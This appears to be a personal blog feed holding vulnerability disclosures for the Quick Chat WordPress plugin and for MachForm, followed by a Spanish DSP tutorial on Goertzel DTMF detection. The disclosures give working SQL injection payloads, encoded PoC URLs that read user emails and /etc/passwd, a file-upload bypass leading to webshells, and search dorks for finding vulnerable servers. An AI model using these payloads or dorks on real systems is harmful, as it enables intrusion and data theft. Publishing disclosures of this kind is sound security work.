Jekyll2018-06-19T19:34:55+02:00https://metalamin.github.io/Metalamin BlogPersonal Blog - MetalaminAmine Taouirsahttp://metalamin.github.ioQuick Chat(WordPress) - Multiple SQL Injections2018-06-12T00:00:00+02:002018-06-12T00:00:00+02:00https://metalamin.github.io/Quick-Chat-SQLi-EN<h2 id="summary">Summary</h2>
<p>This story starts with a head-hunter offering me a job for a major company. No need to say I always screen the employer as I expect they would do to me. If we add the fact that I was a little bored, I ended up finding a 0-day in a WordPress plugin used in one of their servers.</p>
<p>Even not a being security company they take it very seriously. Kudos for their security team as they managed it blazingly fast.</p>
<p>Let’s take a look at this vulnerability found on the plugin <a href="https://wordpress.org/plugins/quick-chat/">‘Quick Chat’</a> for WordPress.</p>
<h2 id="sql-injection-1-cve-2018-12535">SQL Injection 1 (CVE-2018-12535)</h2>
<p><strong>Status: still not patched</strong></p>
<p>The plugin is subject to SQL injections through the ajax call <strong>quick-chat-ajax-username-check</strong>. As we may appreciate in this vulnerable code:</p>
<figure class="align-center">
<img class="align-center" style="width: 75%" src="https://metalamin.github.io/assets/images/Quick-Chat-SQLi/like_escape.png" alt="" />
<figcaption style="text-align: center">Vulnerable code</figcaption>
</figure>
<p>The function <strong>like_escape()</strong> is not meant to act as security measure against SQL injections. In fact, it only escapes special characters related to the LIKE statement. Even the newer <strong>wpdb::esc_like</strong> is not safe as stated on the official documentation: <a href="https://developer.wordpress.org/reference/classes/wpdb/esc_like/">“The output is not SQL safe.”</a></p>
<p>The vulnerable parameter is <strong>username_check</strong> as we can appreciate on the following POC where the SQL injection is <em>Blind Boolean Based</em>.</p>
<figure class="half ">
<a href="/assets/images/Quick-Chat-SQLi/SQL1_true_req.png" title="SQLi True statment request">
<img src="/assets/images/Quick-Chat-SQLi/SQL1_true_req.png" alt="SQLi True statment request" />
</a>
<a href="/assets/images/Quick-Chat-SQLi/SQL1_true_rsp.png" title="SQLi True statment response">
<img src="/assets/images/Quick-Chat-SQLi/SQL1_true_rsp.png" alt="SQLi True statment response" />
</a>
</figure>
<figure class="half ">
<a href="/assets/images/Quick-Chat-SQLi/SQL1_false_req.png" title="SQLi False statment request">
<img src="/assets/images/Quick-Chat-SQLi/SQL1_false_req.png" alt="SQLi False statment request" />
</a>
<a href="/assets/images/Quick-Chat-SQLi/SQL1_false_rsp.png" title="SQLi False statment response">
<img src="/assets/images/Quick-Chat-SQLi/SQL1_false_rsp.png" alt="SQLi False statment response" />
</a>
</figure>
<p><em>Note: if “no_participation” is set to 1, login is required to proceed with the injection.</em></p>
<h1 id="mitigation">Mitigation</h1>
<p>Even if the best way to mitigate SQL injection is to use <strong>wpdb::prepare()</strong>, in this case <strong>esc_sql()</strong> may be used as it escapes values to be included in strings in the query.</p>
<p>On line 399:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$sql</span> <span class="o">=</span> <span class="s1">'SELECT COUNT(*) FROM '</span><span class="o">.</span><span class="nv">$quick_chat_users_table_name</span><span class="o">.</span><span class="s1">' WHERE alias like "%'</span> <span class="o">.</span> <span class="nx">like_escape</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username_check'</span><span class="p">])</span> <span class="o">.</span> <span class="s1">'";'</span><span class="p">;</span>
</code></pre></div></div>
<p>change to:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">$sql</span> <span class="o">=</span> <span class="s1">'SELECT COUNT(*) FROM '</span><span class="o">.</span><span class="nv">$quick_chat_users_table_name</span><span class="o">.</span><span class="s1">' WHERE alias like "%'</span> <span class="o">.</span> <span class="nx">esc_sql</span><span class="p">(</span><span class="nx">like_escape</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'username_check'</span><span class="p">]))</span> <span class="o">.</span> <span class="s1">'";'</span><span class="p">;</span>
</code></pre></div></div>
<h2 id="sql-injection-2-cve-2018-12534">SQL Injection 2 (CVE-2018-12534)</h2>
<p><strong>Status: patched on version 4.0</strong></p>
<p>The plugin was subject to SQL injections through the ajax call. This SQLi can be found on the <strong>to_delete_ids</strong> parameter when using the action <strong>quick-chat-ajax-delete</strong>.</p>
<p>Proof of concept to get the current database name using an error based technique:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">action</span><span class="o">=</span><span class="n">quick</span><span class="o">-</span><span class="n">chat</span><span class="o">-</span><span class="n">ajax</span><span class="o">-</span><span class="k">delete</span><span class="o">&</span><span class="n">to_delete_ids</span><span class="p">[]</span><span class="o">=</span><span class="mi">666</span><span class="p">,(</span><span class="k">select</span> <span class="mi">1</span> <span class="k">from</span><span class="p">(</span><span class="k">select</span> <span class="k">count</span><span class="p">(</span><span class="o">*</span><span class="p">),</span><span class="n">concat</span><span class="p">((</span><span class="k">select</span> <span class="p">(</span><span class="k">select</span> <span class="n">concat</span><span class="p">(</span><span class="mi">0</span><span class="n">x7e</span><span class="p">,</span><span class="mi">0</span><span class="n">x27</span><span class="p">,</span><span class="n">Hex</span><span class="p">(</span><span class="k">cast</span><span class="p">(</span><span class="k">database</span><span class="p">()</span> <span class="k">as</span> <span class="n">char</span><span class="p">)),</span><span class="mi">0</span><span class="n">x27</span><span class="p">,</span><span class="mi">0</span><span class="n">x7e</span><span class="p">))</span> <span class="k">from</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span> <span class="k">limit</span> <span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="n">floor</span><span class="p">(</span><span class="n">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span><span class="p">))</span><span class="n">x</span> <span class="k">from</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span> <span class="k">group</span> <span class="k">by</span> <span class="n">x</span><span class="p">)</span><span class="n">a</span><span class="p">)</span>
</code></pre></div></div>
<figure class="half ">
<a href="/assets/images/Quick-Chat-SQLi/SQL2_error_req.png" title="SQLi Error based request">
<img src="/assets/images/Quick-Chat-SQLi/SQL2_error_req.png" alt="SQLi Error based request" />
</a>
<a href="/assets/images/Quick-Chat-SQLi/SQL2_error_rsp.png" title="SQLi Error based response">
<img src="/assets/images/Quick-Chat-SQLi/SQL2_error_rsp.png" alt="SQLi Error based response" />
</a>
</figure>
<h2 id="dorks">Dorks</h2>
<p>The plugin sets the cookie “quick_chat_alias” so it can be easily tracked searching for it on <a href="https://www.shodan.io/">shodan.io</a> or <a href="https://fofa.so">fofa.so</a></p>
<figure class="align-center">
<img class="align-center" style="width: 75%" src="https://metalamin.github.io/assets/images/Quick-Chat-SQLi/Fofa.png" alt="" />
<figcaption style="text-align: center">FOFA Dork</figcaption>
</figure>Amine Taouirsahttp://metalamin.github.ioFull details of the Multiple SQL injections in 'Quick Chat' plugin for WordPressCeci n’est pas un 0-Day (MachForm)2018-05-25T00:00:00+02:002018-05-25T00:00:00+02:00https://metalamin.github.io/MachForm-not-0-day-EN<p>Years ago, I discovered some vulnerabilities in <a href="https://www.machform.com/">MachForm from Appnitro</a>. These were reported to the vendor who acknowledged it, issued a fix and even published the <a href="https://www.machform.com/blog-machform-423-security-release/">notice for the users to update ASAP.</a></p>
<p>Well … <strong>3 years later</strong>, these vulnerabilities are still in the wild. Some of the affected servers even got <strong>credit cards</strong> information with the corresponding <strong>CVV</strong>.</p>
<p>I hope that making a public full disclosure will help to get these servers secured.</p>
<h2 id="summary">Summary</h2>
<p>The form creation platform MachForm from Appnitro is subject to SQL injections that lead to path traversal and arbitrary file upload.</p>
<p>The application is widely deployed and with some google dorks it’s possible to find various webpages storing sensitive data as credit card numbers with corresponding security codes. Also, the arbitrary file upload can let an attacker get control of the server by uploading a <em>WebShell</em>.</p>
<p>Affected versions go from version <strong>3.0</strong> until the fixed version <strong>4.2.3</strong></p>
<h2 id="sql-injection">SQL injection</h2>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6410">CVE-2018-6410</a></p>
<p>The software is subject to SQL injections in the <strong>‘download.php’</strong> file. This SQLi can be found on the parameter <strong>‘q’</strong> which a <em>base64</em> encoded value for the following parameters:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$form_id</span> <span class="o">=</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'form_id'</span><span class="p">];</span>
<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span>
<span class="nv">$field_name</span> <span class="o">=</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'el'</span><span class="p">];</span>
<span class="nv">$file_hash</span> <span class="o">=</span> <span class="nv">$params</span><span class="p">[</span><span class="s1">'hash'</span><span class="p">];</span>
</code></pre></div></div>
<p>So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based, stacked queries and time-based blind SQL injections.
This is due to the following vulnerable statement:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$query</span> <span class="o">=</span> <span class="s2">"select </span><span class="si">{</span><span class="nv">$field_name</span><span class="si">}</span><span class="s2"> from `"</span><span class="o">.</span><span class="nx">MF_TABLE_PREFIX</span><span class="o">.</span><span class="s2">"form_</span><span class="si">{</span><span class="nv">$form_id</span><span class="si">}</span><span class="s2">` where id=?"</span><span class="p">;</span>
</code></pre></div></div>
<h3 id="poc">POC</h3>
<p>Proof of concept to get the first user mail:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> http:// [URL] / [Machform_folder] /download.php?q=ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgyMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3VzZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RFUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=
</code></pre></div></div>
<p>Which is the <em>base64</em> encoding for:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">el</span><span class="o">=</span> <span class="p">(</span><span class="k">SELECT</span> <span class="mi">1</span> <span class="k">FROM</span><span class="p">(</span><span class="k">SELECT</span> <span class="k">COUNT</span><span class="p">(</span><span class="o">*</span><span class="p">),</span><span class="n">CONCAT</span><span class="p">(</span><span class="mi">0</span><span class="n">x2020</span><span class="p">,(</span><span class="k">SELECT</span> <span class="n">MID</span><span class="p">((</span><span class="n">user_email</span><span class="p">),</span><span class="mi">1</span><span class="p">,</span><span class="mi">50</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">ap_users</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="n">user_id</span> <span class="k">LIMIT</span> <span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span><span class="mi">0</span><span class="n">x2020</span><span class="p">,</span><span class="n">FLOOR</span><span class="p">(</span><span class="n">RAND</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span><span class="p">))</span><span class="n">x</span> <span class="k">FROM</span> <span class="n">INFORMATION_SCHEMA</span><span class="p">.</span><span class="n">CHARACTER_SETS</span> <span class="k">GROUP</span> <span class="k">BY</span> <span class="n">x</span><span class="p">)</span><span class="n">a</span><span class="p">)</span> <span class="p">;</span><span class="o">&</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="o">&</span><span class="n">hash</span><span class="o">=</span><span class="mi">1</span><span class="o">&</span><span class="n">form_id</span><span class="o">=</span><span class="mi">1</span>
</code></pre></div></div>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/MachForm-not-0-day/sqli.png" alt="" />
<figcaption style="text-align: center">SQLi Server Response</figcaption>
</figure>
<h2 id="path-traversal">Path traversal</h2>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6409">CVE-2018-6409</a></p>
<p><strong>‘download.php’</strong> is used to serve stored files from the forms answers. Modifying the name of the file to serve on the corresponding <strong>ap_form</strong> table leads to a path traversal vulnerability.</p>
<h3 id="poc-1">POC</h3>
<p>First, we need to change the name for the element on the form:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">update</span> <span class="n">ap_form_58009</span> <span class="k">set</span> <span class="n">element_4</span><span class="o">=</span><span class="nv">"../../../../../../../../../../../../../../../../etc/passwd"</span> <span class="k">where</span> <span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>
<p>Now in order to be able to download it, we need to access:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> http:// [URL] / [Machform_folder] /download.php?q=ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0NTgmZm9ybV9pZD01ODAwOQo=
</code></pre></div></div>
<p>Which is the <em>base64</em> encoding for:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009
</code></pre></div></div>
<p>Note that hash is the MD5 of the corresponding filename:</p>
<p><code class="highlighter-rouge">md5("../../../../../../../../../../../../../../../../etc/passwd") = 402ba0230d6f44a2de590ac11107a458</code></p>
<h2 id="bypass-file-upload-filter">Bypass file upload filter</h2>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6411">CVE-2018-6411</a></p>
<p>When the form is set to filter a blacklist, it automatically adds dangerous extensions to the filters.
If the filter is set to a whitelist, the dangerous extensions can be bypassed.</p>
<p>This can be done directly on the database via SQLi</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">update</span> <span class="n">ap_form_elements</span> <span class="k">set</span> <span class="n">element_file_type_list</span><span class="o">=</span><span class="nv">"php"</span><span class="p">,</span><span class="n">element_file_block_or_allow</span><span class="o">=</span><span class="nv">"a"</span> <span class="k">where</span> <span class="n">form_id</span><span class="o">=</span><span class="mi">58009</span> <span class="k">and</span> <span class="n">element_id</span><span class="o">=</span><span class="mi">4</span><span class="p">;</span>
</code></pre></div></div>
<p>Once uploaded the file can be found and executed in the following URL:</p>
<p><code class="highlighter-rouge">http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]</code></p>
<p>The filename can be found in the database</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">element_4</span> <span class="k">FROM</span> <span class="n">ap_form_58009</span> <span class="k">WHERE</span> <span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>Amine Taouirsahttp://metalamin.github.ioFull disclosure of Not-Zero-Day vulnerabilities in MachFormDTMF con algoritmo de Goertzel en ADSP-21812017-11-01T00:00:00+01:002017-11-01T00:00:00+01:00https://metalamin.github.io/DTMF-DSP-Goertzel-ES<p>Código fuente y artículo original en <a href="https://github.com/metalamin/DSP-Goertzel">https://github.com/metalamin/DSP-Goertzel</a></p>
<p>El cálculo de todos los valor de la DFT no es necesario a la hora de implementar un detector DTMF, entonces hacer la FFT puede suponer un peso computacional innecesario y mejorable. Por esa razón se hace uso del Algoritmo de Goertzel que permite calcular la DFT únicamente en las frecuencias deseadas para comprobar la presencia del par de tonos que corresponden al número marcado.</p>
<p>En este trabajo se pretende implementar el citado Algoritmo de Goertzel que permite calcular un valor de X[k] mediante filtrado.</p>
<p>El objetivo es de obtener un detector funcional de marcación DTMF con una salida visual por el osciloscopio. La implementación se hace sobre la placa de desarrollo <em>EZKIT-Lite</em> de <em>Analog Devices</em> basada en el <strong>ADSP-2181</strong> del mismo fabricante.</p>
<figure class="half ">
<a href="/assets/images/DTMF-DSP/chip.jpg" title="ADSP-2181">
<img src="/assets/images/DTMF-DSP/chip.jpg" alt="ADSP-2181" />
</a>
<a href="/assets/images/DTMF-DSP/kit.jpg" title="EZKIT-Lite">
<img src="/assets/images/DTMF-DSP/kit.jpg" alt="EZKIT-Lite" />
</a>
</figure>
<p>El algoritmo consiste en 2 partes: Una recursiva mientras se reciben datos, y la segunda que se hace cada N muestras para calcular el resultado de la DFT.</p>
<p>En pseudo código tenemos que implementar lo siguiente:</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">s_prev</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">s_prev2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">normalized_frequency</span> <span class="o">=</span> <span class="n">target_frequency</span> <span class="p">/</span> <span class="n">sample_rate</span><span class="p">;</span>
<span class="n">coeff</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="nb">cos</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span> <span class="n">PI</span><span class="o">*</span> <span class="n">normalized_frequency</span> <span class="p">);</span>
<span class="k">for</span> <span class="n">each</span> <span class="n">sample</span> <span class="p">,</span> <span class="n">x</span> <span class="p">[</span> <span class="n">n</span> <span class="p">]</span> <span class="p">,</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">x</span> <span class="p">[</span> <span class="n">n</span> <span class="p">]</span> <span class="o">+</span> <span class="n">coeff</span> <span class="err">∗</span> <span class="n">s_prev</span> <span class="err">−</span> <span class="n">s_prev2</span> <span class="p">;</span>
<span class="n">s_prev2</span> <span class="o">=</span> <span class="n">s_prev</span> <span class="p">;</span>
<span class="n">s_prev</span> <span class="o">=</span> <span class="n">s</span> <span class="p">;</span>
<span class="k">end</span>
<span class="nb">power</span> <span class="o">=</span> <span class="n">s_prev2</span> <span class="err">∗</span> <span class="n">s_prev2</span> <span class="o">+</span> <span class="n">s_prev</span> <span class="err">∗</span> <span class="n">s_prev</span> <span class="err">−</span> <span class="n">coeff</span> <span class="err">∗</span> <span class="n">s_prev</span> <span class="err">∗</span> <span class="n">s_prev2</span>
</code></pre></div></div>
<p>Vemos que la segunda parte es un poco diferente ya que es una manera “optimizada” de obtener el resultado.</p>
<script type="math/tex; mode=display">magnitude^2= Q_1^2+Q_2^2-Q_1*Q_2*coef</script>
<h2 id="trabajo-previo">Trabajo previo</h2>
<p>Para poder implementar el algoritmo de Goertzel en el DSP necesitamos calcular una serie de valores.</p>
<h3 id="valor-de-n">Valor de N</h3>
<p><strong>N</strong> corresponde al numero de muestras que se hacen en la parte recursiva antes de hacer el cálculo final del valor de la DFT. Fijamos una resolución del análisis espectral a 10Hz y haremos el calculo partiendo de este requerimiento.</p>
<p>Siendo <strong>k</strong> los diferentes coeficientes en los que se puede calcular la DFT. Tenemos:</p>
<script type="math/tex; mode=display">\frac{f_{tono}}{k}=\frac{f_s}{N}</script>
<p>Calculamos N para que el cambio de una unidad de k corresponda a 10Hz.</p>
<script type="math/tex; mode=display">N=\frac{f_s}{f_{tono}}=\frac{8000}{10}=800</script>
<h3 id="escalado-de-la-señal-de-entrada">Escalado de la señal de entrada</h3>
<p>Para evitar saturación del filtro necesitamos hacer un escalado de la señal de entrada.</p>
<p>Después de hacer el análisis con tonos a la entrada, vemos que no es la manera correcta ya que saturaba. Eso es debido al sumatorio resultante de la parte recursiva cuyo valor máximo es el sumatorio de N valores cuyo valor absoluto máximo es 1. Como el valor de entrada del DSP esta normalizado entre -1 y 1, tendremos que hacer un escalado de 1/800.</p>
<p>El valor a utilizar en el DSP es:
<script type="math/tex">ganancia=\frac{1}{800}*2^{15}=40.96</script></p>
<p>Por lo tanto hay que realizar un escalado en el DSP de 40. De esta manera se evitar la saturación.</p>
<h3 id="valores-de-los-coeficientes">Valores de los coeficientes</h3>
<p>Como se pretende detectar los 8 tonos de la tabla DTMF, tendremos que calcular los coeficientes correspondientes.</p>
<script type="math/tex; mode=display">Coef=2*cos(2\pi*\frac{f_{tono}}{f_s})</script>
<p>Para poder guardar los valores en coma fija en el DSP queremos que tengan un valor absoluto inferior a la unidad. Calculamos el valor de coseno solo y ya lo multiplicaremos por 2 a posteriori. A continuación, tenemos la tabla de los coeficientes. (la mitad)</p>
<table>
<thead>
<tr>
<th>Frecuencia</th>
<th>Coeficiente</th>
<th>Valor en el DSP</th>
</tr>
</thead>
<tbody>
<tr>
<td>697</td>
<td>0,8539</td>
<td>27980</td>
</tr>
<tr>
<td>770</td>
<td>0,8226</td>
<td>26956</td>
</tr>
<tr>
<td>852</td>
<td>0,7843</td>
<td>25701</td>
</tr>
<tr>
<td>941</td>
<td>0,7391</td>
<td>24219</td>
</tr>
<tr>
<td>1209</td>
<td>0,5821</td>
<td>19073</td>
</tr>
<tr>
<td>1336</td>
<td>0,4982</td>
<td>16325</td>
</tr>
<tr>
<td>1477</td>
<td>0,3993</td>
<td>13085</td>
</tr>
<tr>
<td>1633</td>
<td>0,2843</td>
<td>9315</td>
</tr>
</tbody>
</table>
<h3 id="amplitud-de-detección-de-tono">Amplitud de detección de tono</h3>
<p>El valor del tono detectado tiene que ser superior al 20% de la amplitud máxima de entrada para considerarse positivo.
Tenemos que el valor máximo a la entrada es de 40 (en el DSP) por el escalado. Por lo que fijaremos el umbral al 20% de 40
<script type="math/tex">umbral=40*20/100=8</script>
Se considerará el tono detectado cuando supere ese umbral.</p>
<h2 id="programa-en-matlab">Programa en MATLAB</h2>
<p>Antes de empezar a programar en el DSP se trabaja en MATLAB para verificar el funcionamiento correcto del algoritmo.</p>
<p>El archivo correspondiente de MATLAB es <a href="https://github.com/metalamin/DSP-Goertzel/blob/master/migoertzel.m">migoertzel.m</a> e implementa la función:</p>
<script type="math/tex; mode=display">y = migoertzel(x)</script>
<p>El programa primero inicializa los valores y luego ejecuta 2 bucles: Uno para hacer ventanas de 800 muestras y luego el bucle correspondiente a la primera parte del algoritmo. Finalmente calcula el valor final para todos los tonos.</p>
<p>No saca el valor del dígito marcado pero se puede apreciar fácilmente en que momentos se supera el umbral de los tonos.</p>
<p>Sea x la señal muestreada a 8000Hz se usa de la siguiente manera:</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>></span> <span class="n">x</span><span class="o">=</span> <span class="nb">sin</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span> <span class="nb">pi</span> <span class="o">*</span> <span class="n">t</span> <span class="o">*</span><span class="mi">770</span><span class="p">)</span> <span class="p">;</span> <span class="c1">% 770Hz</span>
<span class="o">>></span> <span class="n">y</span><span class="o">=</span> <span class="n">migoertzel</span> <span class="p">(</span><span class="n">x</span> <span class="p">/</span><span class="mi">800</span><span class="p">)</span> <span class="o">*</span><span class="mi">2</span><span class="o">^</span><span class="mi">15</span><span class="p">;</span>
<span class="o">>></span> <span class="nb">round</span> <span class="p">(</span><span class="n">y</span> <span class="p">)</span>
<span class="nb">ans</span> <span class="o">=</span> <span class="mi">0</span> <span class="mi">8132</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span>
</code></pre></div></div>
<p>Vemos que se ha dividido la señal por N para hacer el escalado que tendríamos que hacer en el DSP. En este ejemplo se aprecia como detecta perfectamente el segundo tono correspondiente a la frecuencia 770 Hz. Si se hace con un tono puro y amplitud máxima de entrada vemos que los valores son son próximos a 8000, superando con varios ordenes de magnitud el umbral.</p>
<p>Probamos a ver si con una frecuencia cercana da un falso positivo.</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>></span> <span class="n">x</span><span class="o">=</span> <span class="nb">sin</span> <span class="p">(</span><span class="mi">2</span><span class="o">*</span> <span class="nb">pi</span> <span class="o">*</span> <span class="n">t</span> <span class="o">*</span><span class="mi">760</span><span class="p">)</span> <span class="p">;</span> <span class="c1">% 760Hz</span>
<span class="o">>></span> <span class="n">y</span><span class="o">=</span> <span class="n">migoertzel</span> <span class="p">(</span><span class="n">x</span> <span class="p">/</span><span class="mi">800</span><span class="p">)</span> <span class="o">*</span><span class="mi">2</span><span class="o">^</span><span class="mi">15</span><span class="p">;</span>
<span class="o">>></span> <span class="nb">round</span> <span class="p">(</span><span class="n">y</span> <span class="p">)</span>
<span class="nb">ans</span> <span class="o">=</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">0</span>
</code></pre></div></div>
<p>No se detecta la frecuencia en este caso. Por lo que se comporta como es deseado.</p>
<h2 id="programa-en-dsp">Programa en DSP</h2>
<p>Partimos de la simple detección de la marcación del 0 que enciende un led, luego se amplia para detectar los 8 tonos y sacar por el osciloscopio una respuesta que caracteriza cada numero.</p>
<h3 id="detector-de-marcación-del-cero">Detector de marcación del Cero.</h3>
<p>Esta primera parte consigue la detección de 2 tonos correspondientes al ’0’. Para ello implementa el algoritmo de Goertzel con buffer circular para ir haciendo la parte recursiva. Luego se repite el mismo código para cada tono (2 veces).</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mx0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">i2</span> <span class="p">,</span><span class="n">m2</span><span class="p">);</span>
<span class="n">my0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">coef1</span> <span class="p">);</span> <span class="p">{</span><span class="n">Cargamos</span> <span class="n">q1</span> <span class="n">y</span> <span class="n">coef</span> <span class="p">}</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mx0</span><span class="o">*</span><span class="n">my0</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span> <span class="p">{</span><span class="n">q1</span><span class="o">*</span> <span class="nb">cos</span> <span class="p">(</span> <span class="nb">alpha</span> <span class="p">)</span> <span class="p">}</span>
<span class="n">my0</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mr1</span><span class="o">*</span><span class="n">my0</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span> <span class="p">{</span><span class="n">q1</span> <span class="o">*</span><span class="mi">2</span><span class="o">*</span> <span class="nb">cos</span> <span class="p">(</span> <span class="nb">alpha</span> <span class="p">)</span> <span class="p">}</span>
<span class="n">ar</span><span class="o">=</span><span class="n">mr0</span><span class="p">;</span>
<span class="n">mx0</span> <span class="o">=</span> <span class="n">dm</span><span class="p">(</span> <span class="n">rx_buf</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="p">{</span> <span class="nb">input</span> <span class="p">}</span>
<span class="n">my0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">ganancia</span> <span class="p">);</span>
<span class="n">mr</span><span class="o">=</span><span class="n">mx0</span><span class="o">*</span><span class="n">my0</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span>
<span class="n">ay0</span><span class="o">=</span><span class="n">mr1</span><span class="p">;</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ar</span><span class="o">+</span><span class="n">ay0</span><span class="p">;</span> <span class="p">{</span> <span class="nb">input</span><span class="o">+</span><span class="n">q1</span> <span class="o">*</span><span class="mi">2</span><span class="o">*</span> <span class="nb">cos</span> <span class="p">(</span> <span class="nb">alpha</span> <span class="p">)</span> <span class="p">}</span>
<span class="n">ay0</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">i2</span> <span class="p">,</span><span class="n">m3</span><span class="p">);</span> <span class="p">{</span><span class="n">cargamos</span> <span class="n">q2</span><span class="p">}</span>
<span class="n">ar</span><span class="o">=</span><span class="n">ar</span><span class="err">−</span><span class="n">ay0</span><span class="p">;</span> <span class="p">{</span> <span class="nb">input</span><span class="o">+</span><span class="n">q1</span> <span class="o">*</span><span class="mi">2</span><span class="o">*</span> <span class="nb">cos</span> <span class="p">(</span> <span class="nb">alpha</span> <span class="p">)</span><span class="err">−</span><span class="n">q2</span><span class="p">}</span>
<span class="n">dm</span><span class="p">(</span> <span class="n">i2</span> <span class="p">,</span><span class="n">m3</span><span class="p">)</span><span class="o">=</span><span class="n">ar</span> <span class="p">;</span>
</code></pre></div></div>
<p>Si queremos ver si funciona bien sacamos por la pantalla los valores de q1 o de q2 por el osciloscopio cada muestra. Y debería dar algo parecido a la siguiente figura cuando en la entrada se introduce el tono correspondiente.</p>
<figure class="align-center">
<img class="align-center" style="width: auto" src="https://metalamin.github.io/assets/images/DTMF-DSP/DSP.jpg" alt="" />
<figcaption style="text-align: center">Señal correspondiente a los valores de q1</figcaption>
</figure>
<p>Vemos que el valor de q1 se va haciendo mas grande hasta llegar a las N muestras. Entonces se usan los valores y se vuelve a reinicializar para dejarlo preparado para la siguiente pasada de N muestras.</p>
<p>Después de N muestras se hace el calculo final.</p>
<div class="language-matlab highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ar</span><span class="o">=</span><span class="n">dm</span><span class="p">(</span> <span class="n">coef1</span> <span class="p">);</span>
<span class="n">my0</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span> <span class="n">mr</span><span class="o">=</span><span class="n">ar</span> <span class="o">*</span><span class="n">my0</span><span class="p">(</span> <span class="n">ss</span> <span class="p">);</span>
<span class="n">ar</span><span class="o">=</span><span class="n">mr0</span><span class="p">;</span> <span class="p">{</span> <span class="n">coef</span> <span class="o">*</span> <span class="mi">2</span><span class="p">}</span>
